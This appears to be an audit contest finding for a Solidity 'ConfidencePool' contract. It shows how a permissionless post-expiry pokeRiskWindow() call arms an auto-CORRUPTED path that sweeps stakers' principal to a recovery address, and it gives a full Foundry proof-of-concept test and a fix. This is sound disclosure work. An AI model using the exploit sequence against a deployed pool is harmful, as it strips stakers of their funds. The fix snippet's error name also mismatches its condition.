FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: medium

Post-Expiry `pokeRiskWindow()` Can Arm Later Bad-Faith Auto-CORRUPTED Principal Loss

Author Revealed upon completion

Root + Impact

Description

After a pool expires, claimExpired() is intended to mechanically resolve the pool. When the registry is still in an active-risk state such as UNDER_ATTACK or PROMOTION_REQUESTED, the pool resolves EXPIRED and returns principal because the agreement survived the underwritten term.

However, any caller can avoid resolving EXPIRED and call pokeRiskWindow() instead. pokeRiskWindow() observes the same active-risk state, caps riskWindowStart to expiry, and leaves the pool unresolved. Later, when the registry becomes CORRUPTED, the now nonzero riskWindowStart satisfies the auto-CORRUPTED gate in claimExpired(). After the expiry-anchored grace period, claimExpired() finalizes bad-faith CORRUPTED, sets claimsStarted, blocks moderator correction, and allows claimCorrupted() to sweep the full pool to recoveryAddress.

This changes the outcome for the same expired pool from EXPIRED to CORRUPTED solely because a permissionless caller used pokeRiskWindow() after expiry.

The permissionless marker entrypoint ConfidencePool.sol::pokeRiskWindow observes active risk without resolving the expired pool:

function pokeRiskWindow() external {
if (outcome != PoolStates.Outcome.UNRESOLVED) return;
// @> This observes active risk but does not resolve the already expired pool
_observePoolState();
if (riskWindowStart == 0 && riskWindowEnd == 0) revert RiskWindowNotReached();
}

The post-expiry active-risk observation is capped but still persisted in ConfidencePool.sol#L793-L810:

if (riskWindowStart == 0 && _isActiveRiskState(state)) {
_markRiskWindowStart();
}
function _markRiskWindowStart() internal {
uint256 t = block.timestamp;
// @> A post-expiry observation is capped to expiry, but remains nonzero
if (t > expiry) t = expiry;
// @> This arms the later auto-CORRUPTED gate
riskWindowStart = uint32(t);
}

The auto-CORRUPTED branch in ConfidencePool.sol::claimExpired treats any nonzero risk window as eligible for bad-faith finalization:

// @> Nonzero riskWindowStart sends the expired pool into auto-CORRUPTED
if (state == IAttackRegistry.ContractState.CORRUPTED && riskWindowStart != 0) {
if (block.timestamp < expiry + MODERATOR_CORRUPTED_GRACE) {
revert AgreementCorruptedAwaitingModerator();
}
outcome = PoolStates.Outcome.CORRUPTED;
outcomeFlaggedAt = riskWindowEnd;
corruptedReserve = snapshotTotalStaked + snapshotTotalBonus;
// @> Moderator correction and good-faith attacker naming are now blocked
claimsStarted = true;
emit OutcomeFlagged(address(0), PoolStates.Outcome.CORRUPTED, false, address(0));
return;
}

The direct expired path in ConfidencePool.sol::claimExpired would otherwise settle the same expired pool as EXPIRED:

} else {
// @> The same post-expiry active-risk state resolves EXPIRED when claimExpired is called directly
outcome = PoolStates.Outcome.EXPIRED;
outcomeFlaggedAt = expiry;
emit OutcomeFlagged(address(0), PoolStates.Outcome.EXPIRED, false, address(0));
}
claimsStarted = true;

After bad-faith finalization, ConfidencePool.sol::claimCorrupted can sweep the remaining balance to recovery:

function claimCorrupted() external nonReentrant {
if (outcome != PoolStates.Outcome.CORRUPTED) revert OutcomeNotSet();
if (goodFaith && bountyClaimed < bountyEntitlement) revert MustClaimBountyFirst();
uint256 toSweep = stakeToken.balanceOf(address(this));
if (toSweep == 0) revert NothingToSweep();
corruptedReserve = toSweep <= corruptedReserve ? corruptedReserve - toSweep : 0;
if (!goodFaith) {
bountyClaimed = bountyEntitlement;
}
if (!claimsStarted) claimsStarted = true;
// @> Bad-faith CORRUPTED sweeps the full remaining pool balance to recoveryAddress
stakeToken.safeTransfer(recoveryAddress, toSweep);
}

Risk

Likelihood: Medium

  • A pool expires unresolved with no earlier active-risk observation.

  • After expiry, the registry is observed in an active-risk state and a caller uses pokeRiskWindow() instead of claimExpired().

  • The registry later becomes CORRUPTED, and the moderator does not flag an outcome before expiry + MODERATOR_CORRUPTED_GRACE.

Impact: High

  • Stakers who would otherwise receive EXPIRED principal can lose all principal and bonus to the sponsor-controlled recoveryAddress.

  • The mechanical auto-CORRUPTED path sets claimsStarted, which blocks moderator correction and prevents good-faith attacker naming.

Proof of Concept

The PoC file included with this report is:

PostExpiryPokeAutoCorruptedPoC.t.sol

To run it in a fresh contest checkout:

  1. Copy PostExpiryPokeAutoCorruptedPoC.t.sol into the repository's test/ directory.

  2. Run:

forge test --match-contract PostExpiryPokeAutoCorruptedPoC -vv

Expected result:

1 passed, 0 failed

The PoC demonstrates the exploit path:

  • Alice stakes 100 tokens and a bonus contributor adds 20 tokens.

  • The pool expires.

  • The registry enters UNDER_ATTACK after expiry.

  • An untrusted caller calls pokeRiskWindow(), setting riskWindowStart to expiry while leaving the pool unresolved.

  • The registry later becomes CORRUPTED.

  • After the grace period, claimExpired() finalizes bad-faith CORRUPTED and sets claimsStarted.

  • The moderator can no longer correct the outcome.

  • claimCorrupted() sweeps all 120 tokens to recoveryAddress.

Inline PoC source (PostExpiryPokeAutoCorruptedPoC.t.sol):

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
/// @notice A permissionless post-expiry risk poke can arm auto-CORRUPTED.
/// @dev Run from the Foundry project root with:
/// forge test --match-contract PostExpiryPokeAutoCorruptedPoC -vvv
contract PostExpiryPokeAutoCorruptedPoC is BaseConfidencePoolTest {
function testPostExpiryPokeArmsAutoCorruptedAndBlocksModeratorCorrection() external {
_stake(alice, 100 * ONE);
_contributeBonus(carol, 20 * ONE);
uint256 expiryTs = pool.expiry();
// The pool term is already over before the registry becomes active-risk.
vm.warp(expiryTs + 1);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
// Any untrusted caller can avoid resolving EXPIRED and only seal a risk marker.
vm.prank(dave);
pool.pokeRiskWindow();
assertEq(pool.riskWindowStart(), expiryTs, "post-expiry observation is capped to expiry");
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.UNRESOLVED), "poke does not resolve");
// Later terminal corruption now satisfies the auto-CORRUPTED observed-risk gate.
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
vm.warp(expiryTs + pool.MODERATOR_CORRUPTED_GRACE());
vm.prank(dave);
pool.claimExpired();
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.CORRUPTED), "forced bad-faith outcome");
assertTrue(pool.claimsStarted(), "mechanical finality blocks moderator correction");
assertEq(pool.corruptedReserve(), 120 * ONE, "stake plus bonus reserved for recovery");
vm.prank(moderator);
vm.expectRevert(IConfidencePool.OutcomeAlreadySet.selector);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
uint256 recoveryBefore = token.balanceOf(recovery);
pool.claimCorrupted();
assertEq(token.balanceOf(recovery) - recoveryBefore, 120 * ONE, "full pool swept");
}
}

Recommended Mitigation

Prevent post-expiry marker-only risk observations from changing future resolution. The simplest fix is to make pokeRiskWindow() resolve or revert after expiry instead of setting riskWindowStart on an expired unresolved pool.

For example:

function pokeRiskWindow() external {
if (outcome != PoolStates.Outcome.UNRESOLVED) return;
+ if (block.timestamp >= expiry) revert PoolNotExpired();
_observePoolState();
if (riskWindowStart == 0 && riskWindowEnd == 0) revert RiskWindowNotReached();
}

Alternatively, keep pokeRiskWindow() callable after expiry but do not mark riskWindowStart from post-expiry active-risk observations. In that model, an expired pool's first post-expiry interaction should go through claimExpired() so the outcome is resolved atomically rather than leaving a marker that changes a later branch.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!